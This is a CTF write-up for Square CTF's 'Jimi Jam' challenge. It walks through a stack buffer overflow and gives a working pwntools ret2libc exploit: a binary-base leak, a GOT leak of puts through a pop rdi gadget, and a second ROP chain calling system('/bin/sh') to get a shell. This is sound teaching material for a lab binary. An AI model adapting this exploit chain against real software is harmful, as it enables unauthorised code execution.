home / writeups / square

Jimi Jam - Square CTF

15/11/2020

Overview

This is a binary exploitation challenge, you can find the challenge files here.

Once we decompile the given binary, we see that there is a buffer overflow in the vuln function. As you can see below, we have a buffer local_10 of size 8 but we are reading 0x40 bytes of user input into it. If you run checksec on the binary, you will see that there is no canary, therefore we can easily take control of the instruction pointer.

void vuln(void) {
  undefined local_10 [8];
  puts("Hey there! You\'re now in JIMI JAM JAIL");
  read(0,local_10,0x40);
  return;
}

In the challenge zip you can also find the library that is being used on the server, which coincidentally is the same as the one on my system (Ubuntu 20.04) so as long as I get a shell locally, it should work remotely as well.

Leaking libc

The binary in itself does not have enough gadgets to spawn a shell, therefore we will first need to leak the base address of libc through which we can contruct a ROP chain to the effect of system("/bin/sh"). To start, we need to leak the address of any given function by using puts. In my solution, I leaked puts and got the offset from the base using https://libc.blukat.me/.

In order to leak a function, we need to pass it as an argument into puts. In Linux 64-bit binaries, the first argument is passed through the rdi register so we need to find a gadget within the main binary that allows us to put a value into rdi.

$ ROPgadget --binary jimi-jam | grep "pop rdi"
0x00000000000013a3 : pop rdi ; ret

However, we can see that this is only a relative address, we will need to leak the base of this binary as well. Fortunately in the main function we can see that the binary is printing the address of a variable called ROPJAIL. We can extract the address while we are interacting with the binary and then calculate the offset to get the binary base. The offset will then remain the same whenever we run the binary.

from pwn import *
import re

e = ELF('./jimi-jam')
io = process('./jimi-jam')

io.recvline()
addr = re.findall(b'The tour center is right here! (.*)\n', io.recvline())[0]

leak = int(addr,16)
base = leak - 16480

# ...

Once we have the base of the binary, we can continue with our ROP chain to leak the address of puts.

# ...

io.recvline()

payload = b'AAAABBBBCCCCDDDD'
payload += p64(base + 0x13a3) # pop rdi ; ret
payload += p64(base + e.got['puts'])
payload += p64(base + e.plt['puts']) # Now actually call puts
payload += p64(base + e.symbols['main']) # Run the binary again

io.sendline(payload)
leaked_puts = u64(io.recv(6).ljust(8, b'\x00'))

# ...

Now using https://libc.blukat.me/ we can get the offset of puts in our libc and leak the libc base.

# ...

libc_base = leaked_puts - 0x875a0

# ...

Spawning a shell

Using the above libc database, we can also get the address of system and /bin/sh thus completing our payload. You can also see above that I have ended the ROP chain with the address of main so that we run the binary a second time to enter the payload below.

# ...

payload2 = b'AAAABBBBCCCCDDDD'
payload2 += p64(base + 0x101a) # ret
payload2 += p64(base + 0x13a3) # pop rdi; ret
payload2 += p64(libc_base + 0x1b75aa) # str_bin_sh
payload2 += p64(libc_base + 0x055410) # system
io.sendline(payload2)
io.interactive()

Flag: flag{do_you_like_ropping}